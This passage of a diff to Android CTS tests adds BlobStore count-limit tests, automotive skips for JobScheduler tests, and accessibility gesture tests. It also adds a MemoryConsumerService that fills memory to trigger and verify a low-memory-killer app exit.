-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
-        blobData.prepare();
         final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
         runWithKeyValues(() -> {
+            final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+            blobData.prepare();
+
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
             assertThat(sessionId).isGreaterThan(0L);
 
             try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
-                blobData.writeToSession(session, 0, 100);
+                blobData.writeToSession(session, 0, 100, blobData.getFileSize());
             }
 
             SystemClock.sleep(waitDurationMs);
@@ -1290,6 +1529,98 @@
         }, Pair.create(KEY_SESSION_EXPIRY_TIMEOUT_MS, String.valueOf(waitDurationMs)));
     }
 
+    @Test
+    public void testCreateSession_countLimitExceeded() throws Exception {
+        runWithKeyValues(() -> {
+            final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+            blobData1.prepare();
+            final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+            blobData2.prepare();
+
+            mBlobStoreManager.createSession(blobData1.getBlobHandle());
+            assertThrows(LimitExceededException.class,
+                    () -> mBlobStoreManager.createSession(blobData2.getBlobHandle()));
+        }, Pair.create(KEY_MAX_ACTIVE_SESSIONS, String.valueOf(1)));
+    }
+
+    @Test
+    public void testCommitSession_countLimitExceeded() throws Exception {
+        runWithKeyValues(() -> {
+            final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+            blobData1.prepare();
+            final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+            blobData2.prepare();
+
+            commitBlob(blobData1, null /* accessModifier */, 0 /* expectedResult */);
+            commitBlob(blobData2, null /* accessModifier */, 1 /* expectedResult */);
+        }, Pair.create(KEY_MAX_COMMITTED_BLOBS, String.valueOf(1)));
+    }
+
+    @Test
+    public void testLeaseBlob_countLimitExceeded() throws Exception {
+        runWithKeyValues(() -> {
+            final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+            blobData1.prepare();
+            final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+            blobData2.prepare();
+
+            commitBlob(blobData1);
+            commitBlob(blobData2);
+
+            acquireLease(mContext, blobData1.getBlobHandle(), "test desc");
+            assertThrows(LimitExceededException.class,
+                    () -> acquireLease(mContext, blobData2.getBlobHandle(), "test desc"));
+        }, Pair.create(KEY_MAX_LEASED_BLOBS, String.valueOf(1)));
+    }
+
+    @Test
+    public void testExpiredLease_countLimitExceeded() throws Exception {
+        runWithKeyValues(() -> {
+            final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+            blobData1.prepare();
+            final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+            blobData2.prepare();
+            final DummyBlobData blobData3 = new DummyBlobData.Builder(mContext).build();
+            blobData3.prepare();
+            final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
+
+            commitBlob(blobData1);
+            commitBlob(blobData2);
+            commitBlob(blobData3);
+
+            acquireLease(mContext, blobData1.getBlobHandle(), "test desc1",
+                    System.currentTimeMillis() + waitDurationMs);
+            assertThrows(LimitExceededException.class,
+                    () -> acquireLease(mContext, blobData2.getBlobHandle(), "test desc2",
+                            System.currentTimeMillis() + TimeUnit.HOURS.toMillis(4)));
+
+            waitForLeaseExpiration(waitDurationMs, blobData1.getBlobHandle());
+
+            acquireLease(mContext, blobData2.getBlobHandle(), "test desc2",
+                    System.currentTimeMillis() + TimeUnit.HOURS.toMillis(4));
+            assertThrows(LimitExceededException.class,
+                    () -> acquireLease(mContext, blobData3.getBlobHandle(), "test desc3"));
+        }, Pair.create(KEY_MAX_LEASED_BLOBS, String.valueOf(1)));
+    }
+
+    @Test
+    public void testAllowPackageAccess_countLimitExceeded() throws Exception {
+        runWithKeyValues(() -> {
+            final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+            blobData.prepare();
+
+            final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
+            assertThat(sessionId).isGreaterThan(0L);
+            try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
+                blobData.writeToSession(session);
+
+                session.allowPackageAccess(HELPER_PKG2, HELPER_PKG2_CERT_SHA256);
+                assertThrows(LimitExceededException.class,
+                        () -> session.allowPackageAccess(HELPER_PKG3, HELPER_PKG3_CERT_SHA256));
+            }
+        }, Pair.create(KEY_MAX_BLOB_ACCESS_PERMITTED_PACKAGES, String.valueOf(1)));
+    }
+
     private static void runWithKeyValues(ThrowingRunnable runnable,
             Pair<String, String>... keyValues) throws Exception {
         final Map<String, String> previousValues = new ArrayMap();
@@ -1340,6 +1671,11 @@
 
     private long commitBlob(DummyBlobData blobData,
             AccessModifier accessModifier) throws Exception {
+        return commitBlob(blobData, accessModifier, 0 /* expectedResult */);
+    }
+
+    private long commitBlob(DummyBlobData blobData,
+            AccessModifier accessModifier, int expectedResult) throws Exception {
         final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
         assertThat(sessionId).isGreaterThan(0L);
         try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
@@ -1351,7 +1687,7 @@
             final CompletableFuture<Integer> callback = new CompletableFuture<>();
             session.commit(mContext.getMainExecutor(), callback::complete);
             assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_SEC, TimeUnit.SECONDS))
-                    .isEqualTo(0);
+                    .isEqualTo(expectedResult);
         }
         return sessionId;
     }
@@ -1422,6 +1758,12 @@
                 () -> commandReceiver.openBlob(blobData.getBlobHandle()));
     }
 
+    private void waitForLeaseExpiration(long waitDurationMs, BlobHandle leasedBlob)
+            throws Exception {
+        SystemClock.sleep(waitDurationMs);
+        assertThat(mBlobStoreManager.getLeaseInfo(leasedBlob)).isNull();
+    }
+
     private TestServiceConnection bindToHelperService(String pkg) throws Exception {
         final TestServiceConnection serviceConnection = new TestServiceConnection(mContext);
         final Intent intent = new Intent()
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/IdleConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/IdleConstraintTest.java
index 3551205..e75d109 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/IdleConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/IdleConstraintTest.java
@@ -168,7 +168,8 @@
     private boolean isCarModeSupported() {
         // TVs don't support car mode.
         return !getContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_LEANBACK_ONLY);
+                PackageManager.FEATURE_LEANBACK_ONLY)
+                && !getContext().getSystemService(UiModeManager.class).isUiModeLocked();
     }
 
     /**
@@ -305,7 +306,6 @@
         if (!isCarModeSupported()) {
             return;
         }
-
         runIdleJobStartsOnlyWhenIdle();
 
         setCarMode(true);
@@ -314,6 +314,9 @@
     }
 
     public void testIdleJobStartsOnlyWhenIdle_screenEndsIdle() throws Exception {
+        if (!isCarModeSupported()) {
+            return;
+        }
         runIdleJobStartsOnlyWhenIdle();
 
         toggleScreenOn(true);
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
index c065b1e..b6d6120 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
@@ -24,6 +24,7 @@
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
 import android.app.AppOpsManager;
@@ -102,6 +103,8 @@
     private boolean mInitialAirplaneModeState;
     private String mInitialJobSchedulerConstants;
     private String mInitialDisplayTimeout;
+    private String mInitialRestrictedBucketEnabled;
+    private boolean mAutomotiveDevice;
 
     private TestAppInterface mTestAppInterface;
 
@@ -155,6 +158,8 @@
         mInitialAirplaneModeState = isAirplaneModeOn();
         mInitialJobSchedulerConstants = Settings.Global.getString(mContext.getContentResolver(),
                 Settings.Global.JOB_SCHEDULER_CONSTANTS);
+        mInitialRestrictedBucketEnabled = Settings.Global.getString(mContext.getContentResolver(),
+                Settings.Global.ENABLE_RESTRICTED_BUCKET);
         // Make sure test jobs can run regardless of bucket.
         Settings.Global.putString(mContext.getContentResolver(),
                 Settings.Global.JOB_SCHEDULER_CONSTANTS, "min_ready_non_active_jobs_count=0");
@@ -162,6 +167,15 @@
         mInitialDisplayTimeout =
                 Settings.System.getString(mContext.getContentResolver(), SCREEN_OFF_TIMEOUT);
         Settings.System.putString(mContext.getContentResolver(), SCREEN_OFF_TIMEOUT, "300000");
+
+        // In automotive device, always-on screen and endless battery charging are assumed.
+        mAutomotiveDevice =
+                mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+        if (mAutomotiveDevice) {
+            setScreenState(true);
+            // TODO(b/159176758): make sure that initial power supply is on.
+            BatteryUtils.runDumpsysBatterySetPluggedIn(true);
+        }
     }
 
     @Test
@@ -281,6 +295,9 @@
     @Test
     public void testJobsInRestrictedBucket_ParoleSession() throws Exception {
         assumeTrue("app standby not enabled", mAppStandbyEnabled);
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
+
+        setRestrictedBucketEnabled(true);
 
         // Disable coalescing
         Settings.Global.putString(mContext.getContentResolver(),
@@ -304,6 +321,9 @@
     @Test
     public void testJobsInRestrictedBucket_NoRequiredNetwork() throws Exception {
         assumeTrue("app standby not enabled", mAppStandbyEnabled);
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
+
+        setRestrictedBucketEnabled(true);
 
         // Disable coalescing and the parole session
         Settings.Global.putString(mContext.getContentResolver(),
@@ -339,9 +359,12 @@
     @Test
     public void testJobsInRestrictedBucket_WithRequiredNetwork() throws Exception {
         assumeTrue("app standby not enabled", mAppStandbyEnabled);
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
         assumeTrue(mHasWifi);
         ensureSavedWifiNetwork(mWifiManager);
 
+        setRestrictedBucketEnabled(true);
+
         // Disable coalescing and the parole session
         Settings.Global.putString(mContext.getContentResolver(),
                 Settings.Global.JOB_SCHEDULER_QUOTA_CONTROLLER_CONSTANTS,
@@ -386,6 +409,7 @@
     @Test
     public void testJobsInNeverApp() throws Exception {
         assumeTrue("app standby not enabled", mAppStandbyEnabled);
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
 
         BatteryUtils.runDumpsysBatteryUnplug();
         setTestPackageStandbyBucket(Bucket.NEVER);
@@ -396,6 +420,8 @@
 
     @Test
     public void testUidActiveBypassesStandby() throws Exception {
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
+
         BatteryUtils.runDumpsysBatteryUnplug();
         setTestPackageStandbyBucket(Bucket.NEVER);
         tempWhitelistTestApp(6_000);
@@ -407,6 +433,7 @@
 
     @Test
     public void testBatterySaverOff() throws Exception {
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
         BatteryUtils.assumeBatterySaverFeature();
 
         BatteryUtils.runDumpsysBatteryUnplug();
@@ -418,6 +445,7 @@
 
     @Test
     public void testBatterySaverOn() throws Exception {
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
         BatteryUtils.assumeBatterySaverFeature();
 
         BatteryUtils.runDumpsysBatteryUnplug();
@@ -429,6 +457,7 @@
 
     @Test
     public void testUidActiveBypassesBatterySaverOn() throws Exception {
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
         BatteryUtils.assumeBatterySaverFeature();
 
         BatteryUtils.runDumpsysBatteryUnplug();
@@ -441,6 +470,7 @@
 
     @Test
     public void testBatterySaverOnThenUidActive() throws Exception {
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
         BatteryUtils.assumeBatterySaverFeature();
 
         // Enable battery saver, and schedule a job. It shouldn't run.
@@ -481,6 +511,8 @@
         }
         Settings.Global.putString(mContext.getContentResolver(),
                 Settings.Global.JOB_SCHEDULER_CONSTANTS, mInitialJobSchedulerConstants);
+        Settings.Global.putString(mContext.getContentResolver(),
+                Settings.Global.ENABLE_RESTRICTED_BUCKET, mInitialRestrictedBucketEnabled);
         if (isAirplaneModeOn() != mInitialAirplaneModeState) {
             setAirplaneMode(mInitialAirplaneModeState);
         }
@@ -497,6 +529,11 @@
                 restricted ? AppOpsManager.MODE_IGNORED : AppOpsManager.MODE_ALLOWED);
     }
 
+    private void setRestrictedBucketEnabled(boolean enabled) {
+        Settings.Global.putString(mContext.getContentResolver(),
+                Settings.Global.ENABLE_RESTRICTED_BUCKET, enabled ? "1" : "0");
+    }
+
     private boolean isTestAppTempWhitelisted() throws Exception {
         final String output = mUiDevice.executeShellCommand("cmd deviceidle tempwhitelist").trim();
         for (String line : output.split("\n")) {
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
index 8393012..c64eaa3 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
@@ -51,6 +51,7 @@
 import android.graphics.PointF;
 import android.platform.test.annotations.AppModeFull;
 import android.provider.Settings;
+import android.view.ViewConfiguration;
 import android.widget.TextView;
 
 import androidx.test.InstrumentationRegistry;
@@ -105,7 +106,6 @@
     @Before
     public void setUp() throws Exception {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
-
         PackageManager pm = mInstrumentation.getContext().getPackageManager();
         mHasTouchscreen = pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
                 || pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
@@ -179,7 +179,11 @@
 
     @Test
     public void testPanning() {
-        if (!mHasTouchscreen) return;
+        //The minimum movement to transit to panningState.
+        final float minSwipeDistance = ViewConfiguration.get(
+                mInstrumentation.getContext()).getScaledTouchSlop();
+        final boolean screenBigEnough = mPan > minSwipeDistance;
+        if (!mHasTouchscreen || !screenBigEnough) return;
         assertFalse(isZoomed());
 
         setZoomByTripleTapping(true);
@@ -190,7 +194,8 @@
                 swipe(mTapLocation2, add(mTapLocation2, -mPan, 0)));
 
         waitOn(mZoomLock,
-                () -> (mCurrentZoomCenter.x - oldCenter.x >= mPan / mCurrentScale * 0.9));
+                () -> (mCurrentZoomCenter.x - oldCenter.x
+                        >= (mPan - minSwipeDistance) / mCurrentScale * 0.9));
 
         setZoomByTripleTapping(false);
     }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
index 9224739..56d5240 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
@@ -280,7 +280,7 @@
      */
     @Test
     @AppModeFull
-    public void testDoubleTapNoAccessibilityFocus_doesNotPerformClick() {
+    public void testDoubleTapNoFocus_doesNotPerformClick() {
         if (!mHasTouchscreen || !mScreenBigEnough) return;
         dispatch(doubleTap(mTapLocation));
         mHoverListener.assertNonePropagated();
@@ -318,7 +318,7 @@
      */
     @Test
     @AppModeFull
-    public void testDoubleTapAndHoldNoAccessibilityFocus_doesNotPerformLongClick() {
+    public void testDoubleTapAndHoldNoFocus_doesNotPerformLongClick() {
         if (!mHasTouchscreen || !mScreenBigEnough) return;
         dispatch(doubleTap(mTapLocation));
         mHoverListener.assertNonePropagated();
@@ -358,6 +358,63 @@
     }
 
     /**
+     * Test the case where we double tap and no item has accessibility focus, so TouchExplorer sends
+     * touch events to the last touch-explored coordinates to simulate a click.
+     */
+    @Test
+    @AppModeFull
+    public void testDoubleTapNoAccessibilityFocus_sendsTouchEvents() {
+        if (!mHasTouchscreen || !mScreenBigEnough) return;
+        // Do a single tap so there is a valid last touch-explored location.
+        dispatch(click(mTapLocation));
+        mHoverListener.assertPropagated(ACTION_HOVER_ENTER, ACTION_HOVER_EXIT);
+        // We don't really care about these events but we need to make sure all the events we want
+        // to clear have arrived before we clear them.
+        mService.assertPropagated(
+                TYPE_TOUCH_INTERACTION_START,
+                TYPE_TOUCH_EXPLORATION_GESTURE_START,
+                TYPE_TOUCH_EXPLORATION_GESTURE_END,
+                TYPE_TOUCH_INTERACTION_END);
+        mService.clearEvents();
+        dispatch(doubleTap(mTapLocation));
+        mHoverListener.assertNonePropagated();
+        // The click gets delivered as a series of touch events.
+        mTouchListener.assertPropagated(ACTION_DOWN, ACTION_UP);
+        mService.assertPropagated(
+                TYPE_TOUCH_INTERACTION_START, TYPE_TOUCH_INTERACTION_END, TYPE_VIEW_CLICKED);
+        mClickListener.assertClicked(mView);
+    }
+
+    /**
+     * Test the case where we double tap and hold and no item has accessibility focus, so
+     * TouchExplorer sends touch events to the last touch-explored coordinates to simulate a long
+     * click.
+     */
+    @Test
+    @AppModeFull
+    public void testDoubleTapAndHoldNoAccessibilityFocus_sendsTouchEvents() {
+        if (!mHasTouchscreen || !mScreenBigEnough) return;
+        // Do a single tap so there is a valid last touch-explored location.
+        dispatch(click(mTapLocation));
+        mHoverListener.assertPropagated(ACTION_HOVER_ENTER, ACTION_HOVER_EXIT);
+        // We don't really care about these events but we need to make sure all the events we want
+        // to clear have arrived before we clear them.
+        mService.assertPropagated(
+                TYPE_TOUCH_INTERACTION_START,
+                TYPE_TOUCH_EXPLORATION_GESTURE_START,
+                TYPE_TOUCH_EXPLORATION_GESTURE_END,
+                TYPE_TOUCH_INTERACTION_END);
+        mService.clearEvents();
+        dispatch(doubleTapAndHold(mTapLocation));
+        mHoverListener.assertNonePropagated();
+        // The click gets delivered as a series of touch events.
+        mTouchListener.assertPropagated(ACTION_DOWN, ACTION_UP);
+        mService.assertPropagated(
+                TYPE_TOUCH_INTERACTION_START, TYPE_VIEW_LONG_CLICKED, TYPE_TOUCH_INTERACTION_END);
+        mLongClickListener.assertLongClicked(mView);
+    }
+
+    /**
      * Test the case where we want to double tap using a second finger without triggering touch
      * exploration.
      */
diff --git a/tests/app/AppExitTest/AndroidManifest.xml b/tests/app/AppExitTest/AndroidManifest.xml
index 4606ca5..64a1ab8 100644
--- a/tests/app/AppExitTest/AndroidManifest.xml
+++ b/tests/app/AppExitTest/AndroidManifest.xml
@@ -24,6 +24,10 @@
 
     <application android:usesCleartextTraffic="true">
         <uses-library android:name="android.test.runner" />
+        <service android:name="android.app.cts.MemoryConsumerService"
+                android:exported="true"
+                android:isolatedProcess="true">
+        </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
index bd9e5af..cbded8b 100644
--- a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
+++ b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
@@ -30,6 +30,7 @@
 import android.externalservice.common.RunningServiceInfo;
 import android.externalservice.common.ServiceMessages;
 import android.os.AsyncTask;
+import android.os.Binder;
 import android.os.Bundle;
 import android.os.DropBoxManager;
 import android.os.Handler;
@@ -44,12 +45,12 @@
 import android.os.UserManager;
 import android.provider.Settings;
 import android.server.wm.settings.SettingsSession;
-import android.system.Os;
 import android.system.OsConstants;
 import android.test.InstrumentationTestCase;
 import android.text.TextUtils;
 import android.util.DebugUtils;
 import android.util.Log;
+import android.util.Pair;
 
 import com.android.compatibility.common.util.AmMonitor;
 import com.android.compatibility.common.util.ShellIdentityUtils;
@@ -58,9 +59,7 @@
 import com.android.internal.util.MemInfoReader;
 
 import java.io.BufferedInputStream;
-import java.io.FileDescriptor;
 import java.io.IOException;
-import java.nio.DirectByteBuffer;
 import java.util.ArrayList;
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
@@ -131,6 +130,8 @@
     private UserHandle mOtherUserHandle;
     private DropBoxManager.Entry mAnrEntry;
     private SettingsSession<String> mDataAnrSettings;
+    private SettingsSession<String> mHiddenApiSettings;
+    private int mProcSeqNum;
 
     @Override
     protected void setUp() throws Exception {
@@ -154,6 +155,11 @@
                         Settings.Global.DROPBOX_TAG_PREFIX + "data_app_anr"),
                 Settings.Global::getString, Settings.Global::putString);
         mDataAnrSettings.set("enabled");
+        mHiddenApiSettings = new SettingsSession<>(
+                Settings.Global.getUriFor(
+                        Settings.Global.HIDDEN_API_BLACKLIST_EXEMPTIONS),
+                Settings.Global::getString, Settings.Global::putString);
+        mHiddenApiSettings.set("*");
     }
 
     private void handleMessagePid(Message msg) {
@@ -217,6 +223,9 @@
         if (mDataAnrSettings != null) {
             mDataAnrSettings.close();
         }
+        if (mHiddenApiSettings != null) {
+            mHiddenApiSettings.close();
+        }
     }
 
     private int createUser(String name, boolean guest) throws Exception {
@@ -391,47 +400,37 @@
                 ApplicationExitInfo.REASON_EXIT_SELF, EXIT_CODE, null, now, now2);
     }
 
-    private List<ApplicationExitInfo> fillUpMemoryAndCheck(ArrayList<Long> addresses)
-            throws Exception {
-        List<ApplicationExitInfo> list = null;
-        // Get the meminfo firstly
-        MemInfoReader reader = new MemInfoReader();
-        reader.readMemInfo();
+    private List<ServiceConnection> fillUpMemoryAndCheck(
+            final MemoryConsumerService.TestFuncInterface testFunc,
+            final List<ApplicationExitInfo> list) throws Exception {
+        final String procNamePrefix = "memconsumer_";
+        final ArrayList<ServiceConnection> memConsumers = new ArrayList<>();
+        Pair<IBinder, ServiceConnection> p = MemoryConsumerService.bindToService(
+                mContext, testFunc, procNamePrefix + mProcSeqNum++);
+        IBinder consumer = p.first;
+        memConsumers.add(p.second);
 
-        long totalMb = (reader.getFreeSizeKb() + reader.getCachedSizeKb()) >> 10;
-        final int pageSize = 4096;
-        final int oneMb = 1024 * 1024;
+        while (list.size() == 0) {
+            // Get the meminfo firstly
+            MemInfoReader reader = new MemInfoReader();
+            reader.readMemInfo();
 
-        // Create an empty fd -1
-        FileDescriptor fd = new FileDescriptor();
-
-        // Okay now start a loop to allocate 1MB each time and check if our process is gone.
-        for (long i = 0; i < totalMb; i++) {
-            long addr = Os.mmap(0, oneMb, OsConstants.PROT_WRITE,
-                    OsConstants.MAP_PRIVATE | OsConstants.MAP_ANONYMOUS, fd, 0);
-            if (addr == 0) {
-                break;
+            long totalMb = (reader.getFreeSizeKb() + reader.getCachedSizeKb()) >> 10;
+            if (!MemoryConsumerService.runOnce(consumer, totalMb) && list.size() == 0) {
+                // Need to create a new consumer (the present one might be running out of space)
+                p = MemoryConsumerService.bindToService(mContext, testFunc,
+                        procNamePrefix + mProcSeqNum++);
+                consumer = p.first;
+                memConsumers.add(p.second);
             }
-            addresses.add(addr);
-
-            // We don't have direct access to Memory.pokeByte() though
-            DirectByteBuffer buf = new DirectByteBuffer(oneMb, addr, fd, null, false);
-
-            // Dirt the buffer
-            for (int j = 0; j < oneMb; j += pageSize) {
-                buf.put(j, (byte) 0xf);
-            }
-
-            // Check if we could get the report
-            list = ShellIdentityUtils.invokeMethodWithShellPermissions(
-                    STUB_PACKAGE_NAME, mStubPackagePid, 1,
-                    mActivityManager::getHistoricalProcessExitReasons,
-                    android.Manifest.permission.DUMP);
-            if (list != null && list.size() == 1) {
+            // make sure we have cached process killed
+            String output = executeShellCmd("dumpsys activity lru");
+            if (output == null && output.indexOf(" cch+") == -1) {
                 break;
             }
         }
-        return list;
+
+        return memConsumers;
     }
 
     public void testLmkdKill() throws Exception {
@@ -444,23 +443,32 @@
         // Start a process and do nothing
         startService(ACTION_FINISH, STUB_SERVICE_NAME, false, false);
 
-        final int oneMb = 1024 * 1024;
-        ArrayList<Long> addresses = new ArrayList<Long>();
-        List<ApplicationExitInfo> list = fillUpMemoryAndCheck(addresses);
+        final ArrayList<IBinder> memConsumers = new ArrayList<>();
+        List<ApplicationExitInfo> list = new ArrayList<>();
+        final MemoryConsumerService.TestFuncInterface testFunc =
+                new MemoryConsumerService.TestFuncInterface(() -> {
+                    final long token = Binder.clearCallingIdentity();
+                    try {
+                        List<ApplicationExitInfo> result =
+                                ShellIdentityUtils.invokeMethodWithShellPermissions(
+                                        STUB_PACKAGE_NAME, mStubPackagePid, 1,
+                                        mActivityManager::getHistoricalProcessExitReasons,
+                                        android.Manifest.permission.DUMP);
+                        if (result != null && result.size() == 1) {
+                            list.add(result.get(0));
+                            return true;
+                        }
+                    } finally {
+                        Binder.restoreCallingIdentity(token);
+                    }
+                    return false;
+                });
 
-        while (list == null || list.size() == 0) {
-            // make sure we have cached process killed
-            String output = executeShellCmd("dumpsys activity lru");
-            if (output == null && output.indexOf(" cch+") == -1) {
-                break;
-            }
-            // try again since the system might have reclaimed some ram
-            list = fillUpMemoryAndCheck(addresses);
-        }
+        List<ServiceConnection> services = fillUpMemoryAndCheck(testFunc, list);
 
-        // Free all the buffers firstly
-        for (int i = addresses.size() - 1; i >= 0; i--) {
-            Os.munmap(addresses.get(i), oneMb);
+        // Unbind all the service connections firstly
+        for (int i = services.size() - 1; i >= 0; i--) {
+            mContext.unbindService(services.get(i));
         }
 
         long now2 = System.currentTimeMillis();
diff --git a/tests/app/AppExitTest/src/android/app/cts/MemoryConsumerService.java b/tests/app/AppExitTest/src/android/app/cts/MemoryConsumerService.java
new file mode 100644
index 0000000..cca0fac
--- /dev/null
+++ b/tests/app/AppExitTest/src/android/app/cts/MemoryConsumerService.java
@@ -0,0 +1,186 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import android.app.Service;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.AsyncTask;
+import android.os.Binder;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.RemoteException;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.system.OsConstants;
+import android.util.Log;
+import android.util.Pair;
+
+import java.io.FileDescriptor;
+import java.nio.DirectByteBuffer;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.function.BooleanSupplier;
+
+public class MemoryConsumerService extends Service {
+    private static final String TAG = MemoryConsumerService.class.getSimpleName();
+
+    private static final int ACTION_RUN_ONCE = IBinder.FIRST_CALL_TRANSACTION;
+    private static final String EXTRA_BUNDLE = "bundle";
+    private static final String EXTRA_TEST_FUNC = "test_func";
+
+    private IBinder mTestFunc;
+
+    private IBinder mBinder = new Binder() {
+        @Override
+        protected boolean onTransact(int code, Parcel data, Parcel reply, int flags)
+                throws RemoteException {
+            switch (code) {
+                case ACTION_RUN_ONCE:
+                    reply.writeBoolean(fillUpMemoryAndCheck(data.readLong(), mTestFunc));
+                    return true;
+                default:
+                    return false;
+            }
+        }
+    };
+
+    static class TestFuncInterface extends Binder {
+        static final int ACTION_TEST = IBinder.FIRST_CALL_TRANSACTION;
+
+        private final BooleanSupplier mTestFunc;
+
+        TestFuncInterface(final BooleanSupplier testFunc) {
+            mTestFunc = testFunc;
+        }
+
+        @Override
+        protected boolean onTransact(int code, Parcel data, Parcel reply, int flags)
+                throws RemoteException {
+            switch (code) {
+                case ACTION_TEST:
+                    reply.writeBoolean(mTestFunc.getAsBoolean());
+                    return true;
+                default:
+                    return false;
+            }
+        }
+    }
+
+    private boolean fillUpMemoryAndCheck(final long totalMb, final IBinder testFunc) {
+        final int pageSize = 4096;
+        final int oneMb = 1024 * 1024;
+
+        // Create an empty fd -1
+        FileDescriptor fd = new FileDescriptor();
+
+        // Okay now start a loop to allocate 1MB each time and check if our process is gone.
+        for (long i = 0; i < totalMb; i++) {
+            long addr = 0L;
+            try {
+                addr = Os.mmap(0, oneMb, OsConstants.PROT_WRITE,
+                        OsConstants.MAP_PRIVATE | OsConstants.MAP_ANONYMOUS, fd, 0);
+            } catch (ErrnoException e) {
+                Log.d(TAG, "mmap returns " + e.errno);
+                if (e.errno == OsConstants.ENOMEM) {
+                    // Running out of address space?
+                    return false;
+                }
+            }
+            if (addr == 0) {
+                return false;
+            }
+
+            // We don't have direct access to Memory.pokeByte() though
+            DirectByteBuffer buf = new DirectByteBuffer(oneMb, addr, fd, null, false);
+
+            // Dirt the buffer
+            for (int j = 0; j < oneMb; j += pageSize) {
+                buf.put(j, (byte) 0xf);
+            }
+
+            // Test to see if we could stop
+            Parcel data = Parcel.obtain();
+            Parcel reply = Parcel.obtain();
+            try {
+                testFunc.transact(TestFuncInterface.ACTION_TEST, data, reply, 0);
+                if (reply.readBoolean()) {
+                    break;
+                }
+            } catch (RemoteException e) {
+                // Ignore
+            } finally {
+                data.recycle();
+                reply.recycle();
+            }
+        }
+        return true;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        final Bundle bundle = intent.getBundleExtra(EXTRA_BUNDLE);
+        mTestFunc = bundle.getBinder(EXTRA_TEST_FUNC);
+        return mBinder;
+    }
+
+    static Pair<IBinder, ServiceConnection> bindToService(final Context context,
+            final TestFuncInterface testFunc, String instanceName) throws Exception {
+        final Intent intent = new Intent();
+        intent.setClass(context, MemoryConsumerService.class);
+        final Bundle bundle = new Bundle();
+        bundle.putBinder(EXTRA_TEST_FUNC, testFunc);
+        intent.putExtra(EXTRA_BUNDLE, bundle);
